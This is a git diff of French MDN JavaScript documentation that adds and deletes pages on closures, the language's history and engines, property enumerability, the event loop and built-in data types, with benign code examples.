Voici ce qui se passe en réalité. Lorsque JavaScript exécute une fonction, un objet de portée est créé pour conserver les variables locales créées au sein de cette fonction. Il est initialisé avec les variables passées en paramètres à la fonction. Cela ressemble à l'objet global dans lequel toutes les variables et fonctions globales se trouvent, mais avec quelques différences importantes : premièrement, un nouvel objet de portée est créé chaque fois qu'une fonction commence à s'exécuter, et deuxièmement, contrairement à l'objet global (qui, dans le navigateur, correspond à l'objet window), on ne peut pas directement accéder à ces objets de portée depuis le code JavaScript. Il n'existe pas de mécanisme permettant de parcourir les propriétés de l'objet de la portée courante par exemple.

+ +

Donc, quand creerAdditionneur est appelée, une portée est créée avec une propriété : a, qui est le paramètre passé à la fonction creerAdditionneur. Celle-ci renvoie alors une fonction nouvellement créée. Normalement, le ramasse-miettes de JavaScript devrait supprimer l'objet de visibilité créé pour creerAdditionneur à ce moment, mais la fonction renvoyée garde une référence vers cet objet de visibilité. Par conséquent, il ne sera pas supprimé par le ramasse-miettes tant qu'il y a toujours des références à l'objet de type function que creerAdditionneur a renvoyé.

+ +

Certains objets de portée forment une chaîne appelée la chaîne de portées, semblable à la chaîne de prototypes utilisée par le système objet de JavaScript.

+ +

Ce qu'on appelle une fermeture est la combinaison d'une fonction et de l'objet de portée dans lequel elle a été créée.

+ +

Les fermetures permettent des enregistrements d'état et, en tant que telles, peuvent souvent être utilisées à la place d'objets. Vous pourrez trouver plus d'informations sur les fermetures dans cet article.

diff --git a/files/fr/web/javascript/about_javascript/index.html b/files/fr/web/javascript/about_javascript/index.html new file mode 100644 index 0000000000..aeb4c07c17 --- /dev/null +++ b/files/fr/web/javascript/about_javascript/index.html @@ -0,0 +1,65 @@ +--- +title: À propos de JavaScript +slug: Web/JavaScript/A_propos +tags: + - Débutant + - Intro + - JavaScript +translation_of: Web/JavaScript/About_JavaScript +--- +
{{jsSidebar}}
+ +

Qu'est-ce que JavaScript ?

+ +

JavaScript®, souvent abrégé en JS, est le langage de script développé par Netscape utilisé dans des millions de pages web et d'applications serveur dans le monde entier. Le JavaScript de Netscape est une extension du langage de script standard ECMA-262 Edition 3 (ECMAScript), ne différant que légèrement des standards publiés. JavaScript est un langage léger, interprété, orienté objet (les fonctions étant des objets à part entière). Il est orienté prototype, multi-paradigme étant dynamique, impératif et fonctionnel à la fois

+ +

Contrairement à une conception populaire, JavaScript n'est pas « du Java interprété ». En quelques mots, JavaScript est un langage de script dynamique utilisant une construction d'objets basée sur des prototypes. La syntaxe de base est volontairement similaire à Java et à C++ pour réduire le nombre de concepts nouveaux à assimiler par un débutant. Les structures de contrôle, telles que les instructions if, les boucles for et while, les blocs switch et try..catch fonctionnent de la même manière que dans ces langages (ou presque).

+ +

JavaScript peut être employé en tant que langage procédural ou orienté objet. Les objets sont créés par le programme et des méthodes et des propriétés lui sont attachés lors de l'exécution, contrairement aux définitions de classes courantes dans les langages compilés comme C++ et Java. Une fois qu'un objet a été construit, il peut servir de modèle (ou prototype) pour créer des objets similaires.

+ +

Parmi les capacités dynamiques de JavaScript, on peut citer la construction d'objets à l'exécution, les listes de paramètres variables, les fonctions comme variables, la création des scripts dynamique (via eval), le parcours d'objets (via for ... in), et la récupération du code source (les programmes JavaScript peuvent décompiler les corps de fonction pour retrouver le code source).

+ +

Pour une description approfondie de la programation en JavaScript, consultez les liens de la section ressources JavaScript ci-dessous.

+ +

Les implémentations de JavaScript disponibles

+ +

Mozilla héberge deux implémentations de JavaScript. La première au monde est celle créée par Brendan Eich chez Netscape, et depuis mise à jour pour se conformer à la cinquième édition d'ECMA-262 (aussi appelé ECMAScript 5). Ce moteur, portant le nom de code SpiderMonkey, est implémenté en C. Le moteur Rhino, créé principalement par Norris Boyd (également chez Netscape) est une implémentation de JavaScript en Java. Comme SpiderMonkey, Rhino suit la spécification ECMA-262 Edition 5.

+ +

Plusieurs optimisations ont été apportées au moteur JavaScript au fur et à mesure, parmi lesquelles on peut citer : TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) et IonMonkey.

+ +

En plus de ces implémentations, il existe d'autres moteurs JavaScript largement utilisés comme :

+ +
    +
  • V8 de Google, qui est utilisé dans le navigateur Google Chrome et dans les versions récentes du navigateur Opéra.
    • +
  • JavaScriptCore (SquirrelFish/Nitro) utilisé dans certains navigateurs WebKit tels que Safari, d'Apple.
    • +
  • Carakan est utilisé dans les anciennes versions d'Opera.
    • +
  • Le moteur Chakra est utilisé dans Internet Explorer (bien que le langage qu'il implémente soit formellement appelé « JScript » pour des raisons de droits des marques).
    • +
+ +

Chacun des moteurs JavaScript de Mozilla expose une API publique que les applications peuvent appeler pour utiliser JavaScript. L'environnement hôte le plus courant pour JavaScript est, de loin, un navigateur Web. Les navigateurs utilisent typiquement l'API publique pour créer des « objets hôtes », reflétant le DOM en JavaScript.

+ +

Une autre utilisation courante de JavaScript est d'être un langage de script côté serveur (Web). Un serveur web JavaScript exposerait, lui, des objets hôtes représentant les requêtes HTTP et leurs réponses, qui peuvent ensuite être manipulées par un programme JavaScript pour générer dynamiquement des pages Web.

+ +

Ressources JavaScript

+ +
+
SpiderMonkey
+
Informations concernant l'intégration du moteur JavaScript en C/C++ (SpiderMonkey).
+
+ +
+
Rhino
+
Informations concernant l'intégration du moteur JavaScript en Java (Rhino).
+
+ +
+
Ressources sur le langage JavaScript
+
Liens vers les standards JavaScript publiées.
+
+ +
+
Une réintroduction à JavaScript
+
Le guide JavaScript et la référence JavaScript
+
+ +

JavaScript® est une marque déposée d'Oracle aux États-Unis et dans d'autres pays.

diff --git "a/files/fr/web/javascript/caract\303\250re_\303\251num\303\251rable_des_propri\303\251t\303\251s_et_rattachement/index.html" "b/files/fr/web/javascript/caract\303\250re_\303\251num\303\251rable_des_propri\303\251t\303\251s_et_rattachement/index.html" deleted file mode 100644 index a4d1574b35..0000000000 --- "a/files/fr/web/javascript/caract\303\250re_\303\251num\303\251rable_des_propri\303\251t\303\251s_et_rattachement/index.html" +++ /dev/null @@ -1,326 +0,0 @@ ---- -title: Rattachement et caractère énumérable des propriétés -slug: Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement -tags: - - Guide - - Intermédiaire - - JavaScript -translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties ---- -
{{JsSidebar("More")}}
- -

Les propriétés dites « énumérables » sont celles pour lesquelles la caractéristique interne [[Enumerable]] vaut true. C'est le cas par défaut pour les propriétés qui sont créées grâce à une affectation simple ou grâce à un initialisateur de propriété. Les propriétés définies avec des méthodes analogues à {{jsxref("Object.defineProperty()")}} auront [[Enumerable]] à false). Les propriétés énumérables sont celles qui seront parcourues dans une boucle {{jsxref("Instructions/for...in","for..in")}} (sauf si le nom de la propriété est un {{jsxref("Symbol")}}).

- -

Le rattachement des propriétés est détérminé selon que la propriété est directement rattachée à l'objet et non à sa chaîne de prototypes. Il est également possible de récupérer l'ensemble des propriétés d'un objet. Dans le tableau suivant, on détaille les moyens possibles pour détecter, parcourir, énumérer, récupérer les propriétés d'un objet.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Caractère énumérable et rattachement - méthodes natives pour détecter, récupérer et parcourir les propriétés
FonctionnalitéRattachement direct à l'objetRattachement direct à l'objet et sur la chaîne de prototypesUniquement sur la chaîne de prototypes
Détection - - - - - - - - - - - - - - - -
ÉnumérablesNon-énumérablesToutes
-

propertyIsEnumerable()

- -

hasOwnProperty()

- 		hasOwnProperty() - en utilisant propertyIsEnumerable() afin d'exclure les propriétés énumérableshasOwnProperty()
- 		- - - - - - - - - - - - - - - -
ÉnumerablesNon-énumérablesToutes
Cette fonctionnalité n'est pas disponible sans code supplémentaire.Cette fonctionnalité n'est pas disponible sans code supplémentaire.in
- 		Cette fonctionnalité n'est pas disponible sans code supplémentaire.
Récupération - - - - - - - - - - - - - - - -
ÉnumérablesNon-énumérablesToutes
-

Object.keys()

- -

getOwnPropertyNames()

- -

getOwnPropertySymbols()

- 		getOwnPropertyNames() - getOwnPropertySymbols() en utilisant propertyIsEnumerable() afin d'exclure les propriétés énumérables -

getOwnPropertyNames()

- -

getOwnPropertySymbols()

-
- 		Cette fonctionnalité n'est pas disponible sans code supplémentaire.Cette fonctionnalité n'est pas disponible sans code supplémentaire.
Parcours - - - - - - - - - - - - - - - -
ÉnumérablesNon-énumérablesToutes
-

Object.keys()

- -

getOwnPropertyNames()

- -

getOwnPropertySymbols()

- 		getOwnPropertyNames() - getOwnPropertySymbols()en utilisant propertyIsEnumerable() afin d'exclure les propriétés énumérables -

getOwnPropertyNames()

- -

getOwnPropertySymbols()

-
- 		- - - - - - - - - - - - - - - -
ÉnumerablesNon-énumérablesToutes
for..inCette fonctionnalité n'est pas disponible sans code supplémentaire.Cette fonctionnalité n'est pas disponible sans code supplémentaire.
- 		Cette fonctionnalité n'est pas disponible sans code supplémentaire.
-
- -

Obtenir les propriétés selon leur caractère énumérable et selon leur rattachement

- -

Dans la plupart des cas, ce n'est pas l'algorithme le plus efficace mais il est présenté ici à des fins explicatives.

- -
    -
  • On peut détecter la présence d'une propriété grâce à RecuperateurDePropriete.laMethodeSouhaitee(obj).indexOf(prop) > -1
    • -
  • On peut parcourir les propriétés souhaitées avec RecuperateurDePropriete.laMethodeSouhaitee(obj).forEach(function (value, prop) {}); (on peut aussi utiliser filter(), map(), etc.)
    • -
- -
var RecuperateurDePropriete = {
-    getOwnEnumerables: function (obj) {
-        return this._getPropertyNames(obj, true, false, this._enumerable);
-         // On pourrait également utiliser for..in qu'on filtre avec hasOwnProperty
-         // ou encore : return Object.keys(obj);
-    },
-    getOwnNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, true, false, this._notEnumerable);
-    },
-    getOwnEnumerablesAndNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
-        // On peut également simplement utiliser : return Object.getOwnPropertyNames(obj);
-    },
-    getPrototypeEnumerables: function (obj) {
-        return this._getPropertyNames(obj, false, true, this._enumerable);
-    },
-    getPrototypeNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, false, true, this._notEnumerable);
-    },
-    getPrototypeEnumerablesAndNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
-    },
-    getOwnAndPrototypeEnumerables: function (obj) {
-        return this._getPropertyNames(obj, true, true, this._enumerable);
-        // On pourra aussi utiliser for..in sans filtre
-    },
-    getOwnAndPrototypeNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, true, true, this._notEnumerable);
-    },
-    getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
-    },
-    // Fonctions de rappels statiques
-    _enumerable : function (obj, prop) {
-        return obj.propertyIsEnumerable(prop);
-    },
-    _notEnumerable : function (obj, prop) {
-        return !obj.propertyIsEnumerable(prop);
-    },
-    _enumerableAndNotEnumerable : function (obj, prop) {
-        return true;
-    },
-    // Inspirée par https://stackoverflow.com/a/8024294/271577
-    _getPropertyNames : function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
-        var props = [];
-
-        do {
-            if (iterateSelfBool) {
-                Object.getOwnPropertyNames(obj).forEach(function (prop) {
-                    if (props.indexOf(prop) === -1 && includePropCb(obj, prop)) {
-                        props.push(prop);
-                    }
-                });
-            }
-            if (!iteratePrototypeBool) {
-                break;
-            }
-            iterateSelfBool = true;
-        } while (obj = Object.getPrototypeOf(obj));
-
-        return props;
-    }
-};
- -

Tableau de détection

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
infor..inobj.hasOwnProperty()obj.propertyIsEnumerable()Object.keys()Object.getOwnPropertyNames()Object.getOwnPropertyDescriptors()Reflect.ownKeys()
Propriétés énumérablestruetruetruetruetruetruetruetrue
Propriétés non-énumérablestruefalsetruefalsefalsetruetruetrue
Propriétés dont les clés sont des symbolestruefalsetruefalsefalsefalsetruetrue
Propriétés héritées et énumérablestruetruefalsefalsefalsefalsefalsefalse
Propriétés héritées et non-énumérablestruefalsefalsefalsefalsefalsefalsefalse
Propriétés héritées dont les clés sont des symbolestruefalsefalsefalsefalsefalsefalsefalse
- -

Voir aussi

- -
    -
  • in
    • -
  • for..in
    • -
  • {{jsxref("Object.hasOwnProperty()")}}
    • -
  • {{jsxref("Object.propertyIsEnumerable()")}}
    • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
  • {{jsxref("Object.keys()")}}
    • -
  • {{jsxref("Object.getOwnPropertyDescriptors()")}}
    • -
diff --git "a/files/fr/web/javascript/concurrence_et_boucle_des_\303\251v\303\251nements/index.html" "b/files/fr/web/javascript/concurrence_et_boucle_des_\303\251v\303\251nements/index.html" deleted file mode 100644 index 9924edecec..0000000000 --- "a/files/fr/web/javascript/concurrence_et_boucle_des_\303\251v\303\251nements/index.html" +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Gestion de la concurrence et boucle des événements -slug: Web/JavaScript/Concurrence_et_boucle_des_événements -tags: - - Avancé - - Guide - - JavaScript -translation_of: Web/JavaScript/EventLoop ---- -
{{jsSidebar("Advanced")}}
- -

JavaScript gère la concurrence grâce à une « boucle d'événements ». Ce modèle est différent de la gestion faite par des langages comme C ou Java.

- -

Notions liées à l'exécution

- -

Les sections qui suivent décrivent un modèle théorique. En réalité, les moteurs JavaScript implémentent et optimisent fortement la sémantique décrite ici.

- -

Représentation visuelle

- -

Stack, heap, queue

- -

La pile d'appels (stack)

- -

Les appels de fonction forment une pile de cadre (frames).

- -
function f(b){
-  var a = 12;
-  return a + b + 35;
-}
-
-function g(x){
-  var m = 4;
-  return f(m * x);
-}
-
-console.log(g(21)); // affichera 131
-
- -

Lors de l'appel à g, on crée un premier cadre contenant les arguments de g ainsi que les variables locales. Quand g appelle f, un deuxième cadre est créé et placé sur le premier et contient les arguments de f ainsi que les variables locales. Lorsque f a fini et renvoyé son résultat, le cadre correspondant (celui qui est sur le dessus) est retiré de la pile (il reste donc le cadre lié à l'appel de g). Quand g a fini grâce aux informations transmises, la pile devient vide.

- -

Le tas (heap)

- -

Les objets sont alloués en mémoire dans un tas qui désigne une zone de la mémoire sans structure particulière.

- -

La file (queue)

- -

Un environnement d'exécution JavaScript (runtime) contient une queue de messages à traiter. Chaque message est associé à une fonction. Lorsque la pile est vide ou a suffisamment d'espace, on retire un message de la queue et on le traite. Le traitement consiste à appeler la fonction associée au message (et donc à créer le cadre dans la pile d'appel). Le traitement d'un message est fini lorsque la pile d'appels redevient vide.

- -

La boucle d'événements

- -

La boucle d'événement tire principalement son nom de son implémentation. Celle-ci ressemble à :

- -
while (queue.attendreMessage()){
-  queue.traiterProchainMessage();
-}
- -

queue.attendreMessage est un fonction synchrone qui attend un message même s'il n'y en a aucun à traiter.

- -

Traiter de A à Z (run-to-completion)

- -

Chaque message sera traité complètement avant tout autre message. Cela permet de savoir que, lorsqu'une fonction s'exécute, on ne peut pas observer l'exécution d'un autre code qui prendrait le pas (modifiant les données de la fonction par exemple). Le modèle de thread utilisé par le langage C, par exemple, que la fonction puisse être interrompue à tout moment pour permettre à un autre thread d'exécuter un autre code.

- -

Ce modèle possède un désavantage : lorsqu'un message prend trop de temps à être traité, l'application ne peut plus gérer les interactions utilisateur comme les clics ou le défilement. Généralement, le navigateur affiche alors « Le script met trop de temps à répondre ». Une bonne pratique consiste à rendre le traîtement de message le plus court possible et à découper le message problématique en plusieurs messages.

- -

L'ajout de messages

- -

Dans les navigateurs web, des messages sont ajoutés à chaque fois qu'un événement se produit et qu'un gestionnaire d'événements y est attaché. S'il n'y a pas d'écouteur (listener) pour intercepter l'événement, il est perdu. Ainsi, si on clique un élément qui possède un gestionnaire d'événements pour les clics, un message sera ajouté (il en va de même avec les autres événements).

- -

La fonction setTimeout est appelée avec deux arguments : un message à la suite de la queue et la durée à attendre (optionnelle, par défaut elle vaut 0). La durée représente le temps minimal à attendre avant que le message soit placé dans la queue. S'il n'y a pas d'autre message dans la queue, le message sera traîté directement. En revanche, s'il y a d'autres messages auparavant, le message de setTimeout devra attendre la fin du traîtement des messages précédents déjà présents dans la queue. C'est pourquoi le deuxième argument de cette fonction indique une durée minimum et non une durée garantie.

- -
-

Attention : L'argument passé pour le délai à setTimeout ne correspond pas au temps exact. Cela correspond au délai minimum et non à un délai garanti. Par exemple setTimeout(maFonction(),100); indique uniquement que maFonction sera lancé au moins après 100 millisecondes.

-
- -

Voici un exemple qui illustre ce concept (setTimeout ne s'exécute pas immédiatement après la fin du timer) :

- -
const s = new Date().getSeconds();
-
-setTimeout(function() {
-  // prints
-  console.log("Exécuté après " + (new Date().getSeconds() - s) + " secondes.");
-}, 500);
-
-while(true) {
-  if(new Date().getSeconds() - s >= 2) {
-    console.log("Ouf, on a bouclé pendant 2 secondes");
-    break;
-  }
-}
-
- -

Zéro délai

- -

Un délai à zéro ne signifie pas que le callback sera déclenché après zéro milliseconde. Appeler setTimeout avec un délai de 0 (zéro) milliseconde n'éxécute pas le callback après l'interval donné.

- -

L'exécution dépend du nombre de taches en attente dans la queue. Dans l'exemple ci-dessous, le message 'ceci est juste un message' sera affiché dans la console avant que le message dans le callback soit traité, parce que le délai est le temps minimum requis par l'environnement d'exécution (runtime) pour traiter la demande (pas un temps garanti).

- -

Fondamentalement, setTimeout doit attendre la fin de tout le code pour les messages en file d'attente, même si vous avez spécifié une limite de temps particulière pour votre setTimeout.

- -
(function() {
-
-  console.log('ceci est le début');
-
-  setTimeout(function cb() {
-    console.log('Callback 1: ceci est un msg depuis le callback');
-  }); // has a default time value of 0
-
-  console.log('ceci est juste un message');
-
-  setTimeout(function cb1() {
-    console.log('Callback 2: ceci est un msg depuis le callback');
-  }, 0);
-
-  console.log('ceci est la fin');
-
-})();
-
-// "ceci est le début"
-// "ceci est juste un message"
-// "ceci est la fin"
-// "Callback 1: ceci est un msg depuis le callback"
-// "Callback 2: ceci est un msg depuis le callback"
- -

La communication entre plusieurs environnements d'exécution

- -

Un web worker ou une iframe d'origine multiple (cross origin) possède sa propre pile, son propre tas et sa propre queue de messages. Deux environnements d'exécution distincts peuvent uniquement communiquer via des messages envoyés par la méthode postMessage. Cette méthode permet d'ajouter un message à un autre environnement d'exécution si celui-ci « écoute » les événements message.

- -

Non bloquant

- -

Le modèle de la boucle d'événement possède une caractéristique intéressante : JavaScript, à  la différence d'autres langages, ne bloque jamais. La gestion des entrées-sorties (I/O) est généralement traitée par des événements et des callbacks. Ainsi, quand l'application attend le résultat d'une requête IndexedDB ou d'une requête XHR, il reste possible de traiter d'autres éléments comme les saisies utilisateur.

- -

Il existe certaines exceptions historiques comme alert ou des appels XHR synchrones. C'est une bonne pratique que de les éviter. Attention, certaines exceptions existent (mais relèvent généralement de bugs d'implémentation).

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉ tatCommentaires
{{SpecName('HTML WHATWG', 'webappapis.html#event-loops', 'Event loops')}}{{Spec2('HTML WHATWG')}}
Boucle d'évènements pour Node.jsStandard évolutif
diff --git a/files/fr/web/javascript/data_structures/index.html b/files/fr/web/javascript/data_structures/index.html new file mode 100644 index 0000000000..1b605a9fc7 --- /dev/null +++ b/files/fr/web/javascript/data_structures/index.html @@ -0,0 +1,319 @@ +--- +title: Structures de données +slug: Web/JavaScript/Structures_de_données +tags: + - Débutant + - JavaScript + - Types +translation_of: Web/JavaScript/Data_structures +--- +
{{jsSidebar("More")}}
+ +

Les langages de programmation disposent de structures de données natives. Selon les langages, les structures mises à disposition peuvent être différentes. Dans cet article, on listera les structures de données natives en JavaScript. On détaillera leurs propriétés et les façons de les utiliser voire de les combiner. Dans certains cas, on comparera ces structures avec celles d'autres langages.=

+ +

Un typage dynamique

+ +

JavaScript est un langage dont le typage est faible et dynamique. Cela signifie qu'il n'est pas nécessaire de déclarer le type d'une variable avant de l'utiliser. Le type de la variable sera automatiquement déterminé lorsque le programme sera exécuté. Cela signifie également que la même variable pourra avoir différents types au cours de son existence :

+ +
var toto = 42;       // toto est un nombre
+    toto = "machin"; // toto est une chaîne de caractères désormais
+    toto = true;     // et maintenant, toto est un booléen
+
+ +

Les types de données

+ +

Le dernier standard ECMAScript définit 8 types de données :

+ +
    +
  • Sept types de données {{Glossary("Primitive", "primitifs")}}: +
      +
    • {{Glossary("Boolean", "Booléen")}}
      • +
    • {{Glossary("Null")}}
      • +
    • {{Glossary("Undefined")}}
      • +
    • {{Glossary("Number", "Nombre")}}
      • +
    • {{Glossary("BigInt")}} (proposition pour ES2020)
      • +
    • {{Glossary("String", "Chaîne de caractères")}} (String)
      • +
    • {{Glossary("Symbol", "Symbole")}} (type introduit avec ECMAScript 6)
      • +
    +
    • +
  • et le type {{Glossary("Object", "Objet")}}
    • +
+ +

Les valeurs primitives

+ +

Tous les types, sauf les objets, définissent des valeurs immuables (qu'on ne peut modifier). Ainsi, contrairement au C, les chaînes de caractères sont immuables en JavaScript. Les valeurs immuables pour chacun de ces types sont appelées « valeurs primitives ».

+ +

Le type booléen

+ +

Un booléen représente le résultat d'une assertion logique et peut avoir deux valeurs : true (pour le vrai logique) et false (pour le faux logique) (voir {{jsxref("Boolean")}} pour plus de détails sur la représentation objet de ce type).

+ +

Le type nul

+ +

Le type nul ne possède qu'une valeur : null. Voir {{jsxref("null")}} et {{Glossary("Null")}} pour plus d'informations.

+ +

Le type indéfini

+ +

Une variable à laquelle on n'a pas affecté de valeur vaudra undefined. Voir {{jsxref("undefined")}} et {{Glossary("Undefined")}} pour plus d'informations.

+ +

Le type nombre

+ +

ECMAScript possède deux types numériques natifs : Number et BigInt (cf. ci-après)

+ +

Le type Number est géré pour représenter les nombres : les nombres flottants à précision double, représentés sur 64 bits, selon le format IEEE 754 (les nombres compris entre -(253 -1) et 253 -1). Il n'y a donc pas de type à part pour représenter les nombres entiers. En plus de sa capacité à représenter les nombres décimaux, le type nombre possède trois valeurs symboliques : +Infinity, -Infinity, et {{jsxref("NaN")}} (Not A Number en anglais, qui signifie « n'est pas un nombre »).

+ +

Afin de vérifier que des valeurs sont supérieures/inférieures à +/-Infinity, on peut utiliser les constantes {{jsxref("Number.MAX_VALUE")}} et {{jsxref("Number.MIN_VALUE")}}. À partir d'ECMAScript 6, on peut également vérifier si un nombre est/sera compris dans l'intervalle de représentation pour les nombres flottants à précision double en utilisant la méthode {{jsxref("Number.isSafeInteger()")}} ainsi que les valeurs {{jsxref("Number.MAX_SAFE_INTEGER")}} et {{jsxref("Number.MIN_SAFE_INTEGER")}}. En dehors de cet intervalle et pour JavaScript, on considère que les nombres ne sont plus représentés correctement qu'on manipule alors une approximation de la valeur sous forme d'un nombre à virgule flottante à précision double.

+ +

Le type nombre possède un seul entier pouvant être représenté de deux façons différentes : 0 qui peut être représenté par -0 et +0. ("0" étant un alias pour +0). En pratique, cela n'a généralement aucun impact et +0 === -0 vaut bien true. Malgré tout, on peut observer certaines différences quand on divise par zéro :

+ +
42 / +0
+// Infinity
+
+42 / -0
+// -Infinity
+
+ +

Dans la plupart des cas, un nombre représente sa propre valeur, malgré tout les opérateurs binaires peuvent être utilisés pour représenter plusieurs valeurs booléennes grâce à un seul nombre (on parle alors de masque de bits). Ceci est généralement une mauvaise pratique (lisibilité, maintenabilité) bien que ça puisse être utile lorsqu'on souhaite minimiser le nombre de bits qu'on utilise.

+ +

Le type BigInt

+ +

Le type {{jsxref("BigInt")}} permet de représenter des entiers avec une précision arbitraire. Avec ce type, on peut donc manipuler des entiers plus grands que ceux représentables avec Number. Pour créer un grand entier, on ajoutera un n après l'entier ou on appellera le constructeur {{jsxref("BigInt")}}.

+ +

La plus grande valeur représentable avec le type Number est accessible avec la constante {{jsxref("Number.MAX_VALUE")}}. Avec l'apparition de BigInt, on peut représenter et manipuler des entiers plus grands.

+ +
const x = 2n ** 53n;
+9007199254740992n;
+const y = x + 1n;
+9007199254740993n
+
+ +

À l'instar des nombres classiques, on peut utiliser les opérateurs +,  *, -, ** et %. Un grand entier ne sera pas strictement égal à un nombre mais on pourra avoir une égalité faible.

+ +

Un grand entier se comportera comme un nombre lorsqu'il est converti en booléen avec if, ||, &&, Boolean et !.

+ +

Il n'est pas possible d'utiliser des grands entiers et des nombres de façon interchangeable. Une exception {{jsxref("TypeError")}} sera déclenchée en cas d'incompatibilité.

+ +

Le type chaîne de caractères (String)

+ +

Ce type JavaScript est utilisé afin de représenter des données textuelles. C'est un ensemble d'« éléments » de valeurs entières non-signées représentées sur 16 bits. Chaque élément occupe une position au sein de cette chaîne de caractères. Le premier élément est situé à l'indice 0, le deuxième à l'indice 1 et ainsi de suite. La longueur d'une chaîne de caractères correspond au nombre d'éléments qu'elle contient.

+ +

À la différence des chaînes de caractères dans le langage C, les chaînes de caractères JavaScript sont immuables. Cela signifie qu'une fois qu'une chaîne est créée, il est impossible de la modifier. En revanche, il est toujours possible de créer une autre chaîne basée sur la première grâce à des opérations. Par exemple :

+ +
    +
  • Un fragment de la chaîne originelle en sélectionnant certaines lettres ou en utilisant {{jsxref("String.substr()")}}.
    • +
  • Une concaténation de deux chaînes de caractères en utilisant l'opérateur de concaténation (+) ou {{jsxref("String.concat()")}}.
    • +
+ +

Attention à ne pas utiliser les chaînes pour tout et n'importe quoi !

+ +

Ça peut être tentant de vouloir utiliser des chaînes afin de représenter des données complexes. En revanche, les avantages de cette méthode ne sont que très superficiels :

+ +
    +
  • On peut facilement construire des chaînes complexes grâce à la concaténation.
    • +
  • On peut déboguer rapidement le contenu des chaînes de caractères.
    • +
  • Les chaînes de caractères sont utilisées à de multiples endroits dans beaucoup d'API (champs de saisie, valeurs en stockage local, réponses {{ domxref("XMLHttpRequest") }} avec responseText, etc.).
    • +
+ +

En utilisant des conventions, il peut être possible de représenter n'importe quelle donnée sous forme d'une chaîne de caractères, en revanche cela n'est souvent pas la meilleure façon. (Par exemple, avec un séparateur, on pourrait émuler le comportement d'un tableau en « interdisant » que ce séparateur soit utilisé pour éléments, etc. on pourrait ensuite définir un caractère d'échappement, qui serait à son tour inutilisable dans les chaînes : toutes ces pseudo-conventions entraîneront de lourdes conséquences en termes de maintenance.)

+ +

En résumé, les chaînes doivent être utilisées pour les données textuelles. Pour des données plus complexes, utilisez une abstraction adéquate et analysez/parsez les chaînes que vous recevez d'autres API.

+ +

Le type symbole

+ +

Les symboles sont une nouveautés du langage, apportée par ECMAScript 6. Un symbole est une valeur primitive unique et immuable pouvant être utilisée comme clé pour propriété d'un objet (voir ci-après). Dans d'autres langages de programmation, les symboles sont appelés atomes. Pour plus de détails, voir les pages {{Glossary("Symbol","Symbole")}} et le constructeur {{jsxref("Symbol")}} JavaScript.

+ +

Les objets

+ +

En informatique, un objet est une valeur conservée en mémoire à laquelle on fait référence grâce à un {{Glossary("Identifier", "identifiant")}}.

+ +

Propriétés

+ +

En JavaScript, les objets peuvent être considérés comme des collections de propriétés. En utilisant un littéral objet, il est possible d'initialiser un ensemble limité de propriétés ; d'autres propriétés peuvent ensuite être ajoutées et/ou retirées. Les valeurs des propriétés peuvent être de n'importe quel type, y compris des objets. Cela permet de construire des structures de données complexes. Les propriétés sont identifiées grâce à une « clé ». Une clé peut être une chaîne de caractères ou un symbole.

+ +

Il existe deux types de propriétés qui ont certains attributs : des propriétés de données (data property) et des propriétés d'accesseur.

+ +

Propriétés de données

+ +

Elles associent une clé avec une valeur et possèdent les attributs suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Attributs d'une propriété de données
AttributTypeDescriptionValeur par défaut
[[Value]]N'importe quelle valeur JavaScriptLa valeur obtenue lorsqu'on accède à la propriété.undefined
[[Writable]]BooléenS'il vaut false, la valeur de la propriété (l'attribut [[Value]]) ne peut être changé.false
[[Enumerable]]BooléenS'il vaut true, la propriété pourra être listée par une boucle for...in. Voir également l'article sur le caractère énumérable des propriétés.false
[[Configurable]]BooléenS'il vaut false, la propriété ne pourra pas être supprimée, elle ne pourra pas être changée en accesseur et les attributs autres que [[Value]] et [[Writable]] ne pourront pas être modifiés.false
+ + + + + + + + + + + + + + + + + + + + + + + + + +
Attributes obsolètes (faisaient partie d'ECMAScript 3, renommés avec ECMAScript 5)
AttributTypeDescription
Read-onlyBooléenÉtat symétrique pour l'attribut ES5 [[Writable]].
DontEnumBooléenÉtat symétrique pour l'attribut ES5 [[Enumerable]].
DontDeleteBooléenÉtat symétrique pour l'attribut ES5 [[Configurable]].
+ +

Propriétés d'accesseur

+ +

Ces propriétés associent une clé avec un ou deux fonctions accesseur et mutateur qui permettent de récupérer ou d'enregistrer une valeur. Elles possèdent les attributs suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Attributs d'une propriété d'accesseur
AttributTypeDescriptionValeur par défaut
[[Get]]Un objet Function ou undefinedLa fonction qui est appelée sans argument afin de récupérer la valeur de la propriété quand on souhaite y accéder. Voir aussi la page sur get.undefined
[[Set]]Un objet Function ou undefinedLa fonction, appelée avec un argument qui contient la valeur qu'on souhaite affecter à la valeur et qui est exécutée à chaque fois qu'on souhaite modifier la valeur. Voir aussi la page sur set.undefined
[[Enumerable]]BooléenS'il vaut true, la propriété sera listée dans les boucles for...in.false
[[Configurable]]BooléenS'il vaut false, la propriété ne pourra pas être supprimée et ne pourra pas être transformée en une propriété de données.false
+ +
+

Note :  Les attributs sont généralement utilisés par le moteur JavaScript plutôt qu'explicitement dans les scripts. Il est impossible d'y accéder directement (plus d'informations sur {{jsxref("Object.defineProperty()")}}. C'est pour cela que l'attribut est décrit entre double crochets (comme dans la spécification ECMAScript) plutôt qu'entre crochets simples qui pourraient laisser penser à une propriété « classique ».

+
+ +

Les objets « normaux » et les fonctions

+ +

